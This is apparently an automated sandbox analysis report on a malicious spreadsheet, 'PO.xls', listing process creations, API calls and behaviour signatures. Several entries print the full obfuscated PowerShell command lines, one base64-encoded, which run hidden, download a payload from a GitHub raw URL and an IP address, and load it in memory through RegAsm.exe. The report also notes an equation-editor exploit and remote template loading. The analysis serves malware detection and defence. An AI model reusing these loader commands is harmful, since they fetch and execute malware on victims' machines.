Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 0000000E.00000002.473399421.0000000000339000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp

Source: ~DFCE2419FB28151868.TMP.0.dr

Initial sample: OLE indicators vbamacros = False

Source: PO.xls

Initial sample: OLE indicators encrypted = True

Data Obfuscation

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $SHElLId[1]+$SHELlid[13]+'x') (('g6Wurl = f'+'q4'+'ht'+'t'+'p'+'s://'+'ra'+'w.g'+'ithubuserconten'+'t.co'+'m/'+'NoDetectOn'+'/NoDe'+'t'+'e'+'ct'+'O'+'n/re'+'fs/h'+'e'+'ads/m'+'ain'+'/Detah'+'Noth-V'+'.'+'txtfq4; g6Wb'+'a'+'se6'+'4Conte'+'nt '+'= '+'(New-O'+'bject '+'Sy'+'stem.Net.'+'WebClie'+'n'+'t).'+'Dow'+'n'+'lo'+'adStr'+'ing(g6Wur'+'l); g'+'6'+'Wb'+'i'+'nary'+'Cont'+'ent = [Sy'+'stem.'+'Conver'+'t]:'+':Fro'+'mB'+'ase'+'64Str'+'ing'+'(g'+'6'+'Wba'+'se64'+'Conten'+'t);'+' g6Wassembl'+'y = [Ref'+'le'+'ction.Ass'+'e'+'mbly]::Load'+'(g6W'+'binaryCo'+'ntent'+'); '+'[dn'+'lib.IO.'+'Home'+']'+'::VAI(r'+'aytx'+'t.'+'REEWR/'+'055'+'/84'+'1.23.'+'8'+'61.'+'40'+'1'+'//:ptthray, '+'ray'+'desativ'+'a'+'d'+'or'+'ay'+', '+'raydes'+'at'+'ivador'+'ay, rayde'+'s'+'a'+'tivad'+'oray, '+'r'+'ayR'+'egAsmray'+', ra'+'yra'+'y,rayray)').rEPLACe(([cHAr]114+[cHAr]97+[cHAr]121),[sTriNG][cHAr]34).rEPLACe(([cHAr]102+[cHAr]113+[cHAr]52),[sTriNG][cHAr]39).rEPLACe(([cHAr]103+[cHAr]54+[cHAr]87),[sTriNG][cHAr]36) )"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $SHElLId[1]+$SHELlid[13]+'x') (('g6Wurl = f'+'q4'+'ht'+'t'+'p'+'s://'+'ra'+'w.g'+'ithubuserconten'+'t.co'+'m/'+'NoDetectOn'+'/NoDe'+'t'+'e'+'ct'+'O'+'n/re'+'fs/h'+'e'+'ads/m'+'ain'+'/Detah'+'Noth-V'+'.'+'txtfq4; g6Wb'+'a'+'se6'+'4Conte'+'nt '+'= '+'(New-O'+'bject '+'Sy'+'stem.Net.'+'WebClie'+'n'+'t).'+'Dow'+'n'+'lo'+'adStr'+'ing(g6Wur'+'l); g'+'6'+'Wb'+'i'+'nary'+'Cont'+'ent = [Sy'+'stem.'+'Conver'+'t]:'+':Fro'+'mB'+'ase'+'64Str'+'ing'+'(g'+'6'+'Wba'+'se64'+'Conten'+'t);'+' g6Wassembl'+'y = [Ref'+'le'+'ction.Ass'+'e'+'mbly]::Load'+'(g6W'+'binaryCo'+'ntent'+'); '+'[dn'+'lib.IO.'+'Home'+']'+'::VAI(r'+'aytx'+'t.'+'REEWR/'+'055'+'/84'+'1.23.'+'8'+'61.'+'40'+'1'+'//:ptthray, '+'ray'+'desativ'+'a'+'d'+'or'+'ay'+', '+'raydes'+'at'+'ivador'+'ay, rayde'+'s'+'a'+'tivad'+'oray, '+'r'+'ayR'+'egAsmray'+', ra'+'yra'+'y,rayray)').rEPLACe(([cHAr]114+[cHAr]97+[cHAr]121),[sTriNG][cHAr]34).rEPLACe(([cHAr]102+[cHAr]113+[cHAr]52),[sTriNG][cHAr]39).rEPLACe(([cHAr]103+[cHAr]54+[cHAr]87),[sTriNG][cHAr]36) )"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJFNIRWxMSWRbMV0rJFNIRUxsaWRbMTNdKyd4JykgKCgnZzZXdXJsID0gZicrJ3E0JysnaHQnKyd0JysncCcrJ3M6Ly8nKydyYScrJ3cuZycrJ2l0aHVidXNlcmNvbnRlbicrJ3QuY28nKydtLycrJ05vRGV0ZWN0T24nKycvTm9EZScrJ3QnKydlJysnY3QnKydPJysnbi9yZScrJ2ZzL2gnKydlJysnYWRzL20nKydhaW4nKycvRGV0YWgnKydOb3RoLVYnKycuJysndHh0ZnE0OyBnNldiJysnYScrJ3NlNicrJzRDb250ZScrJ250ICcrJz0gJysnKE5ldy1PJysnYmplY3QgJysnU3knKydzdGVtLk5ldC4nKydXZWJDbGllJysnbicrJ3QpLicrJ0RvdycrJ24nKydsbycrJ2FkU3RyJysnaW5nKGc2V3VyJysnbCk7IGcnKyc2JysnV2InKydpJysnbmFyeScrJ0NvbnQnKydlbnQgPSBbU3knKydzdGVtLicrJ0NvbnZlcicrJ3RdOicrJzpGcm8nKydtQicrJ2FzZScrJzY0U3RyJysnaW5nJysnKGcnKyc2JysnV2JhJysnc2U2NCcrJ0NvbnRlbicrJ3QpOycrJyBnNldhc3NlbWJsJysneSA9IFtSZWYnKydsZScrJ2N0aW9uLkFzcycrJ2UnKydtYmx5XTo6TG9hZCcrJyhnNlcnKydiaW5hcnlDbycrJ250ZW50JysnKTsgJysnW2RuJysnbGliLklPLicrJ0hvbWUnKyddJysnOjpWQUkocicrJ2F5dHgnKyd0LicrJ1JFRVdSLycrJzA1NScrJy84NCcrJzEuMjMuJysnOCcrJzYxLicrJzQwJysnMScrJy8vOnB0dGhyYXksICcrJ3JheScrJ2Rlc2F0aXYnKydhJysnZCcrJ29yJysnYXknKycsICcrJ3JheWRlcycrJ2F0JysnaXZhZG9yJysnYXksIHJheWRlJysncycrJ2EnKyd0aXZhZCcrJ29yYXksICcrJ3InKydheVInKydlZ0FzbXJheScrJywgcmEnKyd5cmEnKyd5LHJheXJheSknKS5yRVBMQUNlKChbY0hBcl0xMTQrW2NIQXJdOTcrW2NIQXJdMTIxKSxbc1RyaU5HXVtjSEFyXTM0KS5yRVBMQUNlKChbY0hBcl0xMDIrW2NIQXJdMTEzK1tjSEFyXTUyKSxbc1RyaU5HXVtjSEFyXTM5KS5yRVBMQUNlKChbY0hBcl0xMDMrW2NIQXJdNTQrW2NIQXJdODcpLFtzVHJpTkddW2NIQXJdMzYpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $SHElLId[1]+$SHELlid[13]+'x') (('g6Wurl = f'+'q4'+'ht'+'t'+'p'+'s://'+'ra'+'w.g'+'ithubuserconten'+'t.co'+'m/'+'NoDetectOn'+'/NoDe'+'t'+'e'+'ct'+'O'+'n/re'+'fs/h'+'e'+'ads/m'+'ain'+'/Detah'+'Noth-V'+'.'+'txtfq4; g6Wb'+'a'+'se6'+'4Conte'+'nt '+'= '+'(New-O'+'bject '+'Sy'+'stem.Net.'+'WebClie'+'n'+'t).'+'Dow'+'n'+'lo'+'adStr'+'ing(g6Wur'+'l); g'+'6'+'Wb'+'i'+'nary'+'Cont'+'ent = [Sy'+'stem.'+'Conver'+'t]:'+':Fro'+'mB'+'ase'+'64Str'+'ing'+'(g'+'6'+'Wba'+'se64'+'Conten'+'t);'+' g6Wassembl'+'y = [Ref'+'le'+'ction.Ass'+'e'+'mbly]::Load'+'(g6W'+'binaryCo'+'ntent'+'); '+'[dn'+'lib.IO.'+'Home'+']'+'::VAI(r'+'aytx'+'t.'+'REEWR/'+'055'+'/84'+'1.23.'+'8'+'61.'+'40'+'1'+'//:ptthray, '+'ray'+'desativ'+'a'+'d'+'or'+'ay'+', '+'raydes'+'at'+'ivador'+'ay, rayde'+'s'+'a'+'tivad'+'oray, '+'r'+'ayR'+'egAsmray'+', ra'+'yra'+'y,rayray)').rEPLACe(([cHAr]114+[cHAr]97+[cHAr]121),[sTriNG][cHAr]34).rEPLACe(([cHAr]102+[cHAr]113+[cHAr]52),[sTriNG][cHAr]39).rEPLACe(([cHAr]103+[cHAr]54+[cHAr]87),[sTriNG][cHAr]36) )"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJFNIRWxMSWRbMV0rJFNIRUxsaWRbMTNdKyd4JykgKCgnZzZXdXJsID0gZicrJ3E0JysnaHQnKyd0JysncCcrJ3M6Ly8nKydyYScrJ3cuZycrJ2l0aHVidXNlcmNvbnRlbicrJ3QuY28nKydtLycrJ05vRGV0ZWN0T24nKycvTm9EZScrJ3QnKydlJysnY3QnKydPJysnbi9yZScrJ2ZzL2gnKydlJysnYWRzL20nKydhaW4nKycvRGV0YWgnKydOb3RoLVYnKycuJysndHh0ZnE0OyBnNldiJysnYScrJ3NlNicrJzRDb250ZScrJ250ICcrJz0gJysnKE5ldy1PJysnYmplY3QgJysnU3knKydzdGVtLk5ldC4nKydXZWJDbGllJysnbicrJ3QpLicrJ0RvdycrJ24nKydsbycrJ2FkU3RyJysnaW5nKGc2V3VyJysnbCk7IGcnKyc2JysnV2InKydpJysnbmFyeScrJ0NvbnQnKydlbnQgPSBbU3knKydzdGVtLicrJ0NvbnZlcicrJ3RdOicrJzpGcm8nKydtQicrJ2FzZScrJzY0U3RyJysnaW5nJysnKGcnKyc2JysnV2JhJysnc2U2NCcrJ0NvbnRlbicrJ3QpOycrJyBnNldhc3NlbWJsJysneSA9IFtSZWYnKydsZScrJ2N0aW9uLkFzcycrJ2UnKydtYmx5XTo6TG9hZCcrJyhnNlcnKydiaW5hcnlDbycrJ250ZW50JysnKTsgJysnW2RuJysnbGliLklPLicrJ0hvbWUnKyddJysnOjpWQUkocicrJ2F5dHgnKyd0LicrJ1JFRVdSLycrJzA1NScrJy84NCcrJzEuMjMuJysnOCcrJzYxLicrJzQwJysnMScrJy8vOnB0dGhyYXksICcrJ3JheScrJ2Rlc2F0aXYnKydhJysnZCcrJ29yJysnYXknKycsICcrJ3JheWRlcycrJ2F0JysnaXZhZG9yJysnYXksIHJheWRlJysncycrJ2EnKyd0aXZhZCcrJ29yYXksICcrJ3InKydheVInKydlZ0FzbXJheScrJywgcmEnKyd5cmEnKyd5LHJheXJheSknKS5yRVBMQUNlKChbY0hBcl0xMTQrW2NIQXJdOTcrW2NIQXJdMTIxKSxbc1RyaU5HXVtjSEFyXTM0KS5yRVBMQUNlKChbY0hBcl0xMDIrW2NIQXJdMTEzK1tjSEFyXTUyKSxbc1RyaU5HXVtjSEFyXTM5KS5yRVBMQUNlKChbY0hBcl0xMDMrW2NIQXJdNTQrW2NIQXJdODcpLFtzVHJpTkddW2NIQXJdMzYpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $SHElLId[1]+$SHELlid[13]+'x') (('g6Wurl = f'+'q4'+'ht'+'t'+'p'+'s://'+'ra'+'w.g'+'ithubuserconten'+'t.co'+'m/'+'NoDetectOn'+'/NoDe'+'t'+'e'+'ct'+'O'+'n/re'+'fs/h'+'e'+'ads/m'+'ain'+'/Detah'+'Noth-V'+'.'+'txtfq4; g6Wb'+'a'+'se6'+'4Conte'+'nt '+'= '+'(New-O'+'bject '+'Sy'+'stem.Net.'+'WebClie'+'n'+'t).'+'Dow'+'n'+'lo'+'adStr'+'ing(g6Wur'+'l); g'+'6'+'Wb'+'i'+'nary'+'Cont'+'ent = [Sy'+'stem.'+'Conver'+'t]:'+':Fro'+'mB'+'ase'+'64Str'+'ing'+'(g'+'6'+'Wba'+'se64'+'Conten'+'t);'+' g6Wassembl'+'y = [Ref'+'le'+'ction.Ass'+'e'+'mbly]::Load'+'(g6W'+'binaryCo'+'ntent'+'); '+'[dn'+'lib.IO.'+'Home'+']'+'::VAI(r'+'aytx'+'t.'+'REEWR/'+'055'+'/84'+'1.23.'+'8'+'61.'+'40'+'1'+'//:ptthray, '+'ray'+'desativ'+'a'+'d'+'or'+'ay'+', '+'raydes'+'at'+'ivador'+'ay, rayde'+'s'+'a'+'tivad'+'oray, '+'r'+'ayR'+'egAsmray'+', ra'+'yra'+'y,rayray)').rEPLACe(([cHAr]114+[cHAr]97+[cHAr]121),[sTriNG][cHAr]34).rEPLACe(([cHAr]102+[cHAr]113+[cHAr]52),[sTriNG][cHAr]39).rEPLACe(([cHAr]103+[cHAr]54+[cHAr]87),[sTriNG][cHAr]36) )"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_0041CBE1 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,

16_2_0041CBE1

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 10_2_0060CB44 push eax; retf	10_2_0060CB45
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 10_2_0060D0CA pushad ; ret	10_2_0060D0E5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 10_2_005FF9B1 push ecx; retf	10_2_005FF9B4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_002A4AA2 push esp; ret	14_2_002A4AB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_00457186 push ecx; ret	16_2_00457199
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0045E55D push esi; ret	16_2_0045E566
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_00457AA8 push eax; ret	16_2_00457AC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_00434EB6 push ecx; ret	16_2_00434EC9

Persistence and Installation Behavior

Microsoft Office launches external ms-search protocol handler (WebDAV)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File opened: \Device\RdpDr\;:1\strmr.co@SSL\DavWWWRoot			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File opened: \Device\RdpDr\;:1\strmr.co@SSL\DavWWWRoot			Jump to behavior

Office drops RTF file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File dump: enwegetbacktoenitrefeaturestounderstandhowmuchgreatsheisverycutergirlwithentierthingstobegreatandfineforeverythigngetbackwithnewsystem_______veryniceperson[1].doc.0.dr			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File dump: C899BC08.doc.5.dr			Jump to dropped file

Office viewer loads remote template

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Section loaded: netapi32.dll and davhlpr.dll loaded

Delayed program exit found

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_00406EEB ShellExecuteW,URLDownloadToFileW,

16_2_00406EEB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_0041AADB OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

16_2_0041AADB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

16_2_0041CBE1

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
